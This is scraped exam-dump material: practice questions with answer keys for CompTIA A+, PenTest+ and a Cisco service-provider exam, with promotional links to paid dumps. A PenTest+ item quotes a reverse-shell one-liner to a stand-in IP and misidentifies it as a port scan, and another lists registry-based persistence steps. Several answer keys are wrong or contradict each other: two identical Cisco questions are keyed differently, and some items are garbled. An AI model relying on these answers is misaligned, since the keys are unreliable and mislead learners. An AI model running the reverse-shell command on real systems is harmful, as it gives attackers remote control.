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Latest effective CompTIA Other Certification 220-1002 Exam Practice Tests
QUESTION 1 A computer becomes infected with malware, which manages to steal all credentials stored on the PC. The malware then uses elevated credentials to infect all other PCs at the site. Management asks the IT staff to take action to prevent this from reoccurring. Which of the following would BEST accomplish this goal? A. Use an antivirus product capable of performing heuristic analysis B. Use a host-based intrusion detection system on each computer C. Disallow the password caching of accounts in the administrator’s group D. Install a UTM in between PC endpoints to monitor for suspicious traffic E. Log all failed login attempts to the PCs and report them to a central server Correct Answer: A
QUESTION 2 A technician is installing a private PC in a public workspace. Which of the following password practices should the technician implement on the PC to secure network access? A. Remove the guest account from the administrator’s group B. Disable single sign-on C. Issue a default strong password for all users D. Require authentication on wake-up Correct Answer: D
QUESTION 3 A technician is installing Windows 7 64-bit OS on a VM but keeps getting errors. The specifications for the malware are: Two 1GHz CPUs 2GB of memory 15GB hard drive 800×600 screen resolution Which of the following should the technician do to resolve the problem? A. Increase the number of CPUs B. Increase the amount of memory C. Increase the amount of hard drive space D. Increase the screen resolution Correct Answer: C
QUESTION 4 In which of the following file extension types would a user expect to see the command. “net use T:\\server\files\\’? A. .bat B. .vbs C. .js D. .py Correct Answer: A
QUESTION 5 A user\\’s phone contains customer\\’s PII. The user cannot have the phone automatically wiped because the data is very valuable. Which of the following is the BEST method of securing the phone? A. Fingerprint lock B. Passcode lock C. Swipe lock D. PIN lock Correct Answer: A
QUESTION 6 A security team is auditing a company\\’s network logs and notices that a USB drive was previously inserted into several of the servers. Many login attempts were then successfully performed using common login information. Which of the following actions should be taken to close the vulnerability? (Select two.) A. Disable guest account B. Remove admin permissions C. Modify AutoRun settings D. Change default credentials E. Run OS security updates F. Install a software firewall Correct Answer: AC
QUESTION 7 A network administrator notifies a technician that the company is experiencing a DDoS attack. Several internal Windows PCs are the source of the traffic. The network administrator gives the technician the Windows computer names and states they be scanned and cleaned immediately. With which of the following types of infections are the PCs MOST likely infected? (Select two.) A. Spyware B. Zombies C. Virus D. Ransomware E. Worm F. Botnet Correct Answer: BE
QUESTION 8 Which of the following installation types would require the use of an answer file to install the OS? A. Unattended B. Clean C. Repair D. Upgrade Correct Answer: A
QUESTION 9 A manager requests remote access to a server after hours and on weekends to check data. The manager insists on using the server. Before granting the access, which of the following is the MOST important step a technician can take to protect against possible infection? A. Create a policy to remove Internet access from the server during off hours B. Set the local antivirus software on the server to update and scan daily C. Ensure the server is patched with the latest security updates D. Educate the manager on safe Internet browsing practices Correct Answer: C
QUESTION 10 A user calls the help desk regarding a new Windows issues that started in the morning. The user can no longer use any locally attached devices, such as a mouse or a printer, and a reboot did not fix the problem. Which of the following would MOST likely fix the issue? A. Roll back updates B. Disable the Windows Update service C. Check for updates D. Restore hidden updates Correct Answer: A
QUESTION 11 A department in an organization set up a proxy server to manage its Internet stage. A technician is configuring the Windows workstations to use the new proxy server. Which of the following Control Panel utilities should the technician use to configure the setting? A. Internet Options ?Advanced B. Internet Options ?Connections C. Internet Options ?Security D. Internet Options ?Content E. Internet Options ?Privacy Correct Answer: B
QUESTION 12 A user contacts a technician to troubleshoot server errors. The user explains that some files will not open on the server, the data backups are operational, and the weather has been bad. The technician notices missing time slots in the event log. Which of the following should the technician replace to prevent these issues in the future? A. System memory B. Surge protector C. Hard drives D. Battery backup Correct Answer: D
QUESTION 13 A user\\’s smartphone is making the camera shutter noise even when the user is not taking pictures. When the user opens the photo album, there are no new pictures. Which of the following steps should be taken FIRST to determine the cause of the issue? A. Uninstall the camera application B. Check the application permissions C. Reset the phone to factory settings D. Update all of the applications on the phone E. Run any pending OS updates Correct Answer: B
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We share the latest effective CompTIA IT Fundamentals PT0-001 exam dumps online Practice test to improve your skills! You can also choose PT0-001 PDF or PT0-001 YouTube to learn! Get the full PT0-001 dumps: https://www.pass4itsure.com/pt0-001.html (Q&As: 131 ) to pass the exam easily!
CompTIA PenTest+ is a certification for intermediate skills level cybersecurity professionals who are tasked with hands-on penetration testing to identify, exploit, report, and manage vulnerabilities on a network.
CompTIA PenTest+ is the only penetration testing exam taken at a Pearson VUE testing center with both hands-on, performance-based questions and multiple-choice, to ensure each candidate possesses the skills, knowledge, and ability to perform tasks on systems. PenTest+ exam also includes management skills used to plan, scope, and manage weaknesses, not just exploit them. PenTest+ is unique because our certification requires a candidate to demonstrate the hands-on ability and knowledge to test devices in new environments such as the cloud and mobile, in addition to traditional desktops and servers.
Latest effective CompTIA PT0-001 Exam Practice Tests
QUESTION 1 The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST likely causes for this difference? (Select TWO) A. Storage access B. Limited network access C. Misconfigured DHCP server D. Incorrect credentials E. Network access controls Correct Answer: AB
QUESTION 2 Click the Exhibit button.
A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network Which of the following types of attacks should the tester stop? A. SNMP brute forcing B. ARP spoofing C. DNS cache poisoning D. SMTP relay Correct Answer: B
QUESTION 3 A security analyst was provided with a detailed penetration report, which was performed against the organization\\’s DMZ environment. It was noted in the report that a finding has a CVSS base score of 10.0. Which of the following levels of difficulty would be required to exploit this vulnerability? A. Very difficult; perimeter systems are usually behind a firewall. B. Somewhat difficult; would require significant processing power to exploit. C. Trivial; little effort is required to exploit this finding. D. Impossible; external hosts are hardened to protect against attacks. Correct Answer: C Reference https://nvd.nist.gov/vuln-metrics/cvss
QUESTION 4 A penetration tester is checking a script to determine why some basic persisting. The expected result was the program outputting “True.”
Given the output from the console above, which of the following explains how to correct the errors in the script? (Select TWO) A. Change fi\\’ to \\’Endlf B. Remove the \\’let\\’ in front of \\’dest=5+5\\’. C. Change the \\’=” to \\’-eq\\’. D. Change -Source* and \\’dest\\’ to “Source” and “Saddest” E. Change \\’else\\’ to \\’elif. Correct Answer: BC
QUESTION 5 A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client? A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation. B. Identify the issues that can be remediated most quickly and address them first. C. Implement the least impactful of the critical vulnerabilities\\’ remediations first, and then address other critical vulnerabilities D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long time. Correct Answer: D
QUESTION 6 A penetration tester successfully exploits a DM2 server that appears to be listening on an outbound port The penetration tester wishes to forward that traffic back to a device Which of the following are the BEST tools to use a few this purpose? (Select TWO) A. Tcpdump B. Nmap C. Wiresrtark D. SSH E. Netcat F. Cain and Abel Correct Answer: DE
QUESTION 7 A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal? A. Perform an HTTP downgrade attack. B. Harvest the user credentials to decrypt traffic. C. Perform a MITM attack. D. Implement a CA attack by impersonating trusted CAs. Correct Answer: A
QUESTION 8 Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in electrical utility facilities, natural gas facilities, dams, and nuclear facilities? A. ICS vendors are slow to implement adequate security controls. B. ICS staff are not adequately trained to perform basic duties. C. There is a scarcity of replacement equipment for critical devices. D. There is a lack of compliance for ICS facilities. Correct Answer: B
QUESTION 9 The following line was found in an exploited machine\\’s history file. An attacker ran the following command: bash -i >and /dev/tcp/192.168.0.1/80 0> and1 Which of the following describes what the command does? A. Performs a port scan. B. Grabs the web server\\’s banner. C. Redirects a TTY to a remote system. D. Removes error logs for the supplied IP. Correct Answer: A
QUESTION 10 Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO). A. Shodan B. SET C. BeEF D. Wireshark E. Maltego F. Dynamo Correct Answer: AE References: https://resources.infosecinstitute.com/top-five-open-source-intelligence-osint- tools/#gref
QUESTION 11 A penetration tester has gained access to a marketing employee\\’s device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained. Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.) A. Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1. B. Place an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com. C. Place a script in C:\users\%username\local\appdata\roaming\temp\au57d.ps1. D. Create a fake service in Windows called RTAudio to execute manually. E. Place an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio. F. Create a scheduled task to call C:\windows\system32\drivers\etc\hosts. Correct Answer: AC
QUESTION 12 Which of the following tools is used to perform a credential brute force attack? A. Hydra B. John the Ripper C. Hashcat D. Peach Correct Answer: A Reference https://www.greycampus.com/blog/information-security/brute-force-attacks- prominent-tools-totackle-such-attacks
QUESTION 13 A penetration tester is preparing to conduct API testing Which of the following would be MOST helpful in preparing for this engagement? A. Nikto B. WAR C. W3AF D. Swagger Correct Answer: D
CompTIA PenTest+ assesses the most up-to-date penetration testing, and vulnerability assessment and management skills necessary to determine the resiliency of the network against attacks. Successful candidates will have the intermediate skills required to customize assessment frameworks to effectively collaborate on and report findings. Candidates will also have the best practices to communicate recommended strategies to improve the overall state of IT security.
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The Official CompTIA A+ Core 1 Study Guide (220-1001) has been developed by CompTIA for the CompTIA certification candidate.Rigorously evaluated by third-party subject matter experts to validate adequate coverage of the Core 1 exam objectives, the Official CompTIA A+ Core 1 Study Guide teaches the essential skills and information required for the CompTIA certification exam (220-1001).
After reading the A+ 220-1001 study guide you will understand how to:
Install and configure PC system unit components and peripheral devices.
Install, configure, and troubleshoot display and multimedia devices.
Install, configure, and troubleshoot storage devices.
Install, configure, and troubleshoot internal system components.
Latest effective CompTIA 220-1001 Exam Practice Tests
QUESTION 1 A user wants to print a large job on both the front and back sides of the paper. Which of the following settings should the technician advise the user to change in the printer settings? A. Collate B. Orientation C. Duplex D. Transparency Correct Answer: C
QUESTION 2 A printer stops working in the billing department and cannot be repaired. A new printer has been ordered and a technician is tasked with allowing other users to print to the billing manager\\’s printer until the new printer arrives. The manager\\’s printer is currently used via USB connection, and there are no network jacks available for use. Which of the following is the BEST way for the technician to allow access to the printer? A. Create a share on the manager\\’s computer and give the users rights to the share. B. Install the printer on the users\\’ desktops and point it to the IP address of the manager\\’s computer. C. Purchase a wireless printer so the users can access the printer via network. D. Provide flash drives to the users so they can transfer data to the manager\\’s computer for printing. Correct Answer: C
QUESTION 3 During an inspection, it was found that data racks were not properly grounded. To pass the inspection and address a growing concern to protect data cabling and equipment, a technician must make sure all racks are properly grounded. Which of the following tools should the technician use to verify this has been completed? A. Multimeter B. Cable tester C. Tone generator D. Voltmeter Correct Answer: A
QUESTION 4 A customer wants to purchase a new home computer. The machine will mainly be used for internal browsing and streaming video, except on weekends when the customers\\’ son will use it to play games with friends. Which of the following should the technician focus on to meet these requirements? A. 80mm case fans B. Four-core processor C. RAID 5 array D. 16GB DDR2 memory E. Dual monitors F. Encrypted hard drive Correct Answer: B
QUESTION 5 A server needs a RAM upgrade, and a technician has been tasked with retrieving the RAM from storage and then installing it. Whish of the following is the BEST RAM type for the technician to retrieve? A. SoDIMM B. DDR4 C. Single channel D. ECC Correct Answer: B
QUESTION 6 Which of the following cable types should be used to connect a cable modem to a SOHO router? A. Thunderbolt B. Coaxial C. USB D. Ethernet Correct Answer: D
QUESTION 7 A technician needs to routinely run scripting commands in Linux but does not want to walk over the server room every time to perform the task. The technician also travels between buildings and has a Windows 10 laptop with 4GB of memory and a fully partitioned 500GB hard drive. Which of the following steps should the technician take to resolve this issue? (Choose two.) A. Increase the memory to 8GB. B. Install a Linux guest VM. C. Add another 500GB hard drive. D. Create a Linux LiveBoot CD. E. Repartition the hard drive. F. Install Linux on a new ext3 partition. Correct Answer: EF
QUESTION 8 An end user wants to have a second monitor installed on a laptop. Which of the following would allow a technician to configure the laptop to show both screens once the cable is connected? A. Plug an external monitor into the USB port. B. Use the Fn and function key combination C. Adjust the monitor display settings. D. Enable DisplayPort. Correct Answer: C
QUESTION 9 A business owner wants to provide security to laptop users with the ability to charge their devices, access corporate LAN resources, and allow for a variety of their removable hardware. Which of the following devices would BEST meet the owner\\’s needs? A. Docking station B. Port replicator C. Thunderbolt D. USB hub Correct Answer: A
QUESTION 10 A user reports that printing on heavy cardstock paper results in the image smearing if touched. When printing on plain paper, the problem does not occur. Which of the following would be the NEXT troubleshooting step to perform? A. Increase the fuser temperature. B. Change the paper feed rate. C. Clean the transfer roller. D. Replace the toner cartridge. Correct Answer: A
QUESTION 11 A technician upgraded the memory on a server from two 8GB sticks to eight 32GB. The server memory is now at full capacity per the user guide. When the technician powers on the system, only 128 GB of memory is recognized by the OS and the BIOS. The technician decides to upgrade to the latest version of the firmware on the system, which does not help. Next, the technician installs the memory in sets of 64GB at a time. Each individual set of 64GB is fully recognized by the server. Which of the following will not allow the server to recognize all of the memory installed at the same time? A. The power supply is not supplying enough power for the memory. B. The memory has too many ECC errors and is shutting down C. The server is overheating when all of the memory is installed. D. The server needs DDR4 memory, and DDR3 is installed. Correct Answer: D
QUESTION 12 A user logs on a PC and receives a message stating there is a duplicate IP address on the network. After a system restart, the user notices the same error. Which of the following is the MOST probable cause of the error? A. The user is still logged into another device. B. The user has set a static IP address. C. The user has moved to a different office. D. The user has wireless and wired connections. Correct Answer: B
QUESTION 13 Which of the following is MOST likely causing the problem? A. Airplane mode B. Tethering C. Disabled hotspot D. VPN Correct Answer: A
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QUESTION 1 Which option is the Cisco cloud management platform that is designed for enterprise and public sector IT organizations to help build private and hybrid clouds? A. Cisco Cloud Orchestrator B. Cisco UCS Director C. Cisco Intercloud Fabric D. Cisco Intelligent Automation for Cloud Correct Answer: D
QUESTION 2
Refer to the exhibit. An MPLS VPN service was provisioned for customer ABC both sites must be communication to each other primarily over the wan link with no traffic over the wan circuits PE1 has the same configuration as PE2 which two commands can be configure on the PEs to accomplish the desired goal?(Choose two) A. Under sub interface IP VRF SITEMAP SoO with the same SoO value. B. no neighbor <CE-IP address> AS-override. C. Neighbor<CE-IP address> route-map SoO in with the same SoO value. D. Neighbor<CE-IP address> route-map SoO in with a different SoO value. E. Neighbor<CE-IP address> route-map SoOout with the same SoO value. Correct Answer: BC
QUESTION 3
Refer to the exhibit Customer ABC is peering with two service providers for internet access. In order to prevent the AS 100 from becoming a transit AS between ISP_1 and ISP_2. Which BGP configuration must be applied to achieve this goal? A. CE1# CE2# ip as-path access-list 1 permit^100$ ip as-path access-list 1 permit^100$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100 neighbor 1.1.2.2 route-map LOCAL_ONLY in neighbor 1.1.1.2 route-map LOCAL_ONLY in B. CE1# CE2# ip as-path access-list 1 permit^$ ip as-path access-list 1 permit^$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100 neighbor 1.1.2.2 route-map LOCAL_ONLY out neighbor 1.1.2.2 route-map LOCAL_ONLY out C. CE1# CE2# ip as-path access-list 1 permit^$ ip as-path access-list 1 permit^$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100 neighbor 1.1.2.2 route-map LOCAL_ONLY out neighbor 1.1.2.2 route-map LOCAL_ONLY out D. CE1# CE2# ip as-path access-list 1 permit^11$ ip as-path access-list 1 permit^11$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100 neighbor 1.1.2.2 route-map LOCAL_ONLY out neighbor 1.1.2.2 route-map LOCAL_ONLY out E. CE1# CE2# ip as-path access-list 1 permit^$ ip as-path access-list 1 permit^$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100 neighbor 1.1.2.2 route-map LOCAL_ONLY in neighbor 1.1.1.2 route-map LOCAL_ONLY in Correct Answer: C
QUESTION 4 A network operation engineer has these requirement: *prevent multicast transit when it is enforced by unicast stub routing. *Reduce the overall processing of PIM control traffic. Especially when the number of stub links increases on the stub device. *protect against multicast spoofing of PM designated router messages and PIM assert messages. Which solution meets these requirements? A. explicit tracking of receivers. B. multicast stub routing. C. Source Specific Multicast. D. PIM allow RP. Correct Answer: B
QUESTION 5 Which option is the benefit of per-link LFA over per-prefix LFA? A. It has a greater applicability B. It provides greater protection coverage C. It is simpler D. It enables better bandwidth utilization Correct Answer: C
QUESTION 6 Which standard provides insurance that the new hardware rollout plan meets certain environment design guidelines before deployment? A. NAS B. eTOM C. NEBS D. ITIL E. COBIT Correct Answer: C
QUESTION 7 ISP A provides L2VPN services to Company B through an MPLS network. Company B uses all available CoS values to classify and different traffic forwarding within all Company B sites. ISP A uses the following CoS values to differentiate service classes for the VPN customer traffic *MPLS EXP 0 for Bronze service class*MPLS EXP 1 for Silver service class *MPLS EXP 2 for Gold service class *Remaining MPLS EXP values for ISP A internal use ISP A’s policy is to forward VPN customer traffic based only on their Bronze, silver and Gold service classes. Which QoS method must ISP A implement to achieve this? A. Short-pipe Mode B. Russian Doll Model C. Pipe Mode D. Uniform Mode E. Maximum Allocation Model Correct Answer: D
QUESTION 8 Which two options are characteristics of MoFRR? ( Choose two) A. Uses additional PIM join toward source B. Based on multicast forward error correction feature C. Based on PIM Fast Route D. Requires MPLS TE FRR enabled with link protection and node protection E. Utilizes two equal-cost paths toward source Correct Answer: AE
QUESTION 9 Which routing table is used by PEs and ASBRs to store all VPN routes that need to be exchanged in an Inter-AS L3VPN option B scenario? A. IGP table B. VRF routing table C. Global routing table D. BGP table Correct Answer: D
QUESTION 10 In the MC-LAG environment, which two statements about clustering HA are true? A. Public connection is used to access the active node of cluster from the outside cluster B. Private connection is used to connect the nodes of the cluster for private communication C. Private connection is used to access the active node of cluster from the outside cluster D. Public connection is used to connect the nodes of cluster for private communication E. Public connection is used to monitor the health and status of each node in the HA cluster using the heartbeat system Correct Answer: AB
QUESTION 11
Refer to the exhibit. After the BGP TCP negotiation between Router A and Router B, what will be the value of the keep alive timer and the hold-down timer, respectively? A. 3 seconds and 9 seconds B. 60 seconds and 180 seconds C. 10 seconds and 9 seconds D. no value, because BGP negotiation will not be successful E. 10 seconds and 10 seconds F. 10 seconds and 30 seconds G. 3 seconds and 30 seconds H. 3 seconds and 10 seconds Correct Answer: D
QUESTION 12 Which are two benefits of using segment routing over RSVP-TE for traffic engineering? (Choose two) A. Segment routing traffic engineering tunnels always follow the low-latency path B. ECMP-aware traffic engineering is natively supported by segment routing C. Per-flow state is present only at the ingress node to the Segment routing-enabled network D. Per-flow state is present at the ingress and egress node to the segment routing-enabled network E. Per-flow state is maintained on all nodes of the segment routing-enabled network Correct Answer: BC
QUESTION 13 Which three PIM modes require RP? (Choose three) A. PIM-DM B. PIM-SM C. PIM with mLDP D. PIM-SSM E. PIM anycast F. PIM-BIDIR Correct Answer: BEF
QUESTION 14 Which option is the benefit of per-link LFA over per-prefix LFA? A. It has a greater applicability B. It provides greater protection coverage C. It is simpler D. It enables better bandwidth utilization Correct Answer: C
QUESTION 15 In which two ways does the BGP graceful restart capability preserve prefix information during a restart? (Choose two.) A. The peer router sends an end -of RIB message to the restarting router B. The peer router immediately removes the BGP routes that it learned from the restarting router from its BGP routing table C. The restarting router waits to receive updates from the neighboring routers. D. The restarting router does not remove any stale prefixes after the timer for stale entries exTs. E. The restarting router removes any stale prefixes after the timer for stale entries expires Correct Answer: CE
QUESTION 16 What is the port number of an IPsec Encapsulating Security Payload packet? (ESP) A. IP protocol 51B. UDP port 50 C. Ip protocol 50 D. TCP Port 50 E. UDP port 51 F. TCP port 51 Correct Answer: C
QUESTION 17 Two routers that are running MPLS and LDP have multiple links that than connect them to each other. An engineer wants to ensure that the label bindings are not flushed from the LIB if one of the links fails. Which configuration meets this requirement? A. the mpls ldp neighbor targeted command B. the mpls ip command on a Cisco MPLS TE tunnel C. the mpls ldp autoconfig command D. the mpls ldp session protection command Correct Answer: D
QUESTION 18 A network engineer has a requirement to configure IP flow exporting using standard protocols on a cisco IOS XE device. Which configuration achieves this goal? A. flow exporter EXPORTER destination 10.1.1.1 export-protocol version 9 transport udp 90 B. flow exporter EXPORTER destination 10.1.1.1 source Loopback 0 transport udp 90 C. flow exporter EXPORTER destination 10.1.1.1 source Loopback 0 transport udp 90 version ipfix D. flow exporter EXPORTER destination 10.1.1.1 export-protocol ipfix transport udp 90 Correct Answer: D
QUESTION 19 A customer has a requirements record voice calls for IPT connected on switch A using VLAN 200.Record traffic should be forwarded to the IPCC recording server, which is connected on switch B, voice recording is not working. Assuming that RSPAN source monitoring is properly set, which action fixes this problem? A. On switch B, the monitor session 1 destination remote <interface_config_to_recording_server> command must be applied B. On switch B, the port connects to the recording server must have an IP address and be accessible via VLAN 200 C. On switch B, the port that connects to the reording server must be accessed on VLAN D. On switch A and switch B, the remote-span command must be configured on the mirroring dedicated VLAN Correct Answer: D
QUESTION 20 A service provider engineering team must design a solution that supports end-to-end LSPS for multiple IGP domains within different AS numbers. According to RFC 3107, which solution achieves this goal? A. LDP and BGP B. BGP and Send-label C. RSVP and IS-IS or OSPF D. RSVP and BGP E. mLDP Correct Answer: B
QUESTION 21 A service provider is implementing an nV Edge system with the two ASR 9000 chassis has two RSPs. Which two cabling methods reflect the minimum configuration needed for full synchronization between the two Cisco ASR 9000 chassis? (Choose two) A. Create the single virtual control plane that connect the two RSPs between the two chassis via Layer 2 connections B. Create the IRL connections between the two chassis via Layer 3 connections using the EOBC 10 Gbps ports of the RSPs C. Create the IRL connections between the two chassis via Layer 3 connections using the ports of the line cards D. Create the single virtual control plane that connect the two chassis via Layer 3 connections using the 10 Gbps ports of the line cards E. Create the IRL connections between the two chassis via Layer 1 connections using the10 Gbps ports of the line cards F. Create the single virtual control plane that connect the two chassis via 100 Gbps bundle interfaces G. Create the IRL connections between the two chassis via Layer 1 connections using the EOBC 10 Gbps ports of the RSPs Correct Answer: AE
QUESTION 22 A service provider offers four classes of service for MPLS VPN customer with the following IPP/EXP values A. voice=5 ii. video=4 iii. priority-data =3 iv. best-effort data=0 The service provider also supports multicast VPN services in the priority data and best- effort classes. Multicast VPN is implemented as a draft-rosen profile. On a P router, in the MPLS core, the ingress. QoS policy-map must classify all incoming packets, so that different classes of traffic can be properly handled in fabric queues and egress queues. All types of packets in the core network must be covered’ Which ingress classification offers the optimal performance and provides the minimum number of actions that match the service provider QoS requirements? B. class-map match-any VOICE match mpls experiment topmost 5 class-map match-any VIDEO match mpls experiment topmost 4 class-map match-any CONTROL match mpls experiment topmost 6 class-map match-any PRIORITY match mpls experimental topmost 3 ! policy-map INGRESS class VOICE set qos-group 5 class VIDEO set qos-group 4 class CONTROL set qos-group 6 class PRIORITY set qos-group 3 class class-default C. class-map match-any VOICE match mpls experiment topmost 5 class-map match-any VIDEO match mpls experiment topmost 4 class-map match-any CONTROL match mpls experiment topmost 6 7 match ip precedence ipv4 internet network class-map match-any PRIORITY match mpls experimental topmost 3 match ip precedence ipv4 flash ! policy-map INGRESS class VOICE set qos-group 5 class VIDEO set qos-group 4 class CONTROL set qos-group 6 class PRIORITY set qos-group 3 class class-default D. class-map match-any VOICEmatch mpls experiment topmost 5 match ip precedence ipv4 critical class-map match-any VIDEO match mpls experiment topmost 4 match ip precedence ipv4 flash-override class-map match-any PRIORITY match mpls experimental topmost 3 match ip precedence ipv4 flash ! policy-map INGRESS class VOICE set qos-group 5 class VIDEO set qos-group 4 class PRIORITY set qos-group 3 class class-default Correct Answer: C
QUESTION 23 An engineer deploys a new Cisco IOS XR router and connects a Gigbit Ethernet port to an existing Cisco Catalyst 3650 Series Switch. The engineer uses known good optics and fiber, but the link has not come up and it is stuck in the down/ down state. What is the root cause of this issue? A. Cisco IOS XR devices must use copper connections to Catalyst 3650 Series Switches B. UDLD must be enabled on the Catalyst 3650 Series switch C. CDP is not enabled on the Cisco IOS XR device D. Auto negation must be disabled on the Catalyst 3650 Series Switch Correct Answer: D
QUESTION 24 In a multihop BFD scenario, which two options create a multihop template and associate it with maps of destinations and associated timers? (Choose two) A. Fallover BFD B. BFD echo C. BFD map D. BFD template E. BFD version 2 Correct Answer: CD
QUESTION 25
Refer to the exhibit PIM sparse mode is implemented in the network RPF succeeds under which condition? A. The RPF check succeeds for the highest DR priority for the PIM router B. The RPF check succeeds for both PIM neighbors, and traffic load-balances across both neighbors C. The RPF check succeeds for the next hop whose router ID is the highest D. The RPF check succeeds for the highest interface IP address for the PIM router Correct Answer: D
QUESTION 26 An engineer is connecting a new 10-Gbps Ethernet link. Which type of transceiver must the Engineer purchase that is the current industry standard? A. GBIC B. XFP C. X2 D. SFP Correct Answer: B
QUESTION 27
Refer to the exhibit what is the status of the L2 tunnel between PE1,PE2 and the layer 2 switches ? A. The layer 2 tunnel is down due to the ACL is applied on the PE2 interface B. The layer 2 tunnel is up and SW1 become the root bridge for VLAN 10 C. The layer 2 tunnel is down due to the MTU mismatch between SW1 and SW2 D. The layer 2 tunnel is up but no BPDUs are exchange unless an extra configuration is applied Correct Answer: B
QUESTION 28 Service providers that implement MPLS Inter-AS Option B must ensure that the ASBRs between each provider learn all VPNv4 routers from both providers. How can this requirements be accomplished? A. Ensure that each ASBR is configured for all VRFs from within its own provider backbone B. Configure each ASBR to retain route targets for all VPNv-4 learned routes C. Configure the VRFs form the connecting provider in order to learn route targets on each ASBR D. Ensure that LDP is conjured between each ASBR for label exchange on all VRFs Correct Answer: B
QUESTION 29 IPv6 multicast is enabled in a VPLS domain. An operations engineer must reduce the multicast flooding in this VPLS domain. Which feature constrains IPv6 traffic at Layer 2 by configuring Layer 2 ports dynamically to forward IPv6 multicast traffic only to those ports that want to receive it? A. IGMP snooping B. MLD snooping C. MLD querier D. IGMP version 3 E. MLD version 2Correct Answer: B
QUESTION 30 In the Dual Stack lite solution, what is the function of the B4 component? A. It acts as an endpoint for the IPv6 in IPv4 encapsulation and forwarding B. It decapsulates the tunneled IPV4 packets, translate the network address, and routes to the IPv4 network C. It encapsulates the customer IPv4 packets using IPv6 tunnel and second to the AFTR D. It reverses network address translated of the eipv4 packets coming from the internet and it sends the resultant IPv4 packets to AFTR Correct Answer: C
QUESTION 31 An support engineer has been tasked to protect an ISP infrastructure from the growing number of encrypted DDoS attacks. The solution should also validate the eBGP peering. Which solution accomplishes these goals? A. BGP FlowSpec B. BTSH C. BGP Route Dampening D. BGP LS E. RTBH Correct Answer: B
QUESTION 32 Which two components does the LDP use to discover neighbors on a network segment? (Choose two) A. 224.0.0.14 multicast address B. 224.0.0.1 multicast address C. 224.0.0.2 multicast address D. 711 tcp port E. 646 udp port F. 711 udp port G. 646 tcp port Correct Answer: CE
QUESTION 33 A Layer 3 VPN customer opened a case that reports connectivity loss with remote sites. An operations engineer realized this connectivity loss happened after the LDP label filtering was applied. What is the root cause of this issue? A. Labels were not allocated for the PE , P and RR physical interfaces B. Labels were not allocated for the PE loopbacks C. Labels were not allocated for the CE loopback and physical interfaces D. Labels were not allocated for the P loopbacks E. Labels were not allocated for the PE, P , and RR loopbacks F. Labels were not allocated for the P and PE physical interfaces Correct Answer: B
QUESTION 34 Which version of IGMP is required for source specific multicast implementations? A. IGMP version 2 B. Cisco group management protocol C. IGMP version 3 D. IGMP version 1 Correct Answer: C
QUESTION 35 Which three security mechanisms are used to mitigate or protect against DoS attacks that are targeted at a router? (Choose three) A. NSR B. GSTM C. uRPF D. BFD E. FRR F. CoPP Correct Answer: BCF
QUESTION 36 In a L2VPN service, customer CE sends frames to PE1 using a CoS making value of 3. However , the remote CE receives those frames from PE2 with a CoS marking value of 0. Which description of this behavior is true? A. Egress PE2 is not configured with an outbound policy-map facing CE2 to preserve CoS marking B. Egress PE2 is marking EXP 0 upon label imposition C. Egress PE2 is not configured with mpls Ldp explicit-null command D. Ingress PE1 is remarking the CoS frame received from CE1 with valuye of 0 Correct Answer: D
QUESTION 37 In an Internet scenario with noncongruent unicast and multicast topologies, which protocol a scalable policy for performing multicast RPF checks? A. MADCAP B. MSDP C. MBGP D. PGM Correct Answer: C
QUESTION 38
Refer to the exhibit. A network engineer has a requirement to enable MPLS TE tunnels on the network to be L3VPN customers. Which MPLS TE feature allow the network engineer to configure MPLS TE LSPs by using a few CLI commands? A. AutoTunnel Mesh Groups on all P and PE routers B. AutoTunnel Primary and Backup on all PE routers C. AutoTunnel Primary and Backup on all P and PE routers D. AutoTunnel Mesh Groups on all PE routers Correct Answer: D
QUESTION 39 A design engineer has a requirement to implement QoS with a high degree of granularity in traffic management on a service provider network. The QoS behavior must match these requirements *Shape multiple queues to a single rate *Specify the maximum transmission rate of a set traffic classes that are queued separately *Shape the aggregate traffic of queues on a physical interface Which deployment meets these requirements ? A. RSVP B. LLQ C. CBWFQ with WRED D. hierarchical QoS Correct Answer: D
QUESTION 40 An support engineer has been tasked to protect an ISP infrastructure from the growing number of encrypted DDoS attacks. The solution should also validate the eBGP peering. Which solution accomplishes these goals? A. BGP FlowSpec B. BTSH C. BGP Route Dampening D. BGP LS E. RTBH Correct Answer: E
QUESTION 41 A service provider is using Cisco ME 3400 Series Ethernet Access Switches on the edge of a Metro Ethernet POP. A customer has a requirement to connect a switch to the network and requires the ability to trunk VLANs on the uplink port into the provider network. Which port type should the engineer configure on the switch to meet this requirement while maintaining a secure edge implementation? A. UNI B. ENI C. NNI D. Access Correct Answer: C
QUESTION 42 Which operational metric to measure the health of the incident management process is critical? A. A number of successful changes B. Number of incidents per severity level C. Mean time to restore service D. Mean time to resolve incidents Correct Answer: A
QUESTION 43
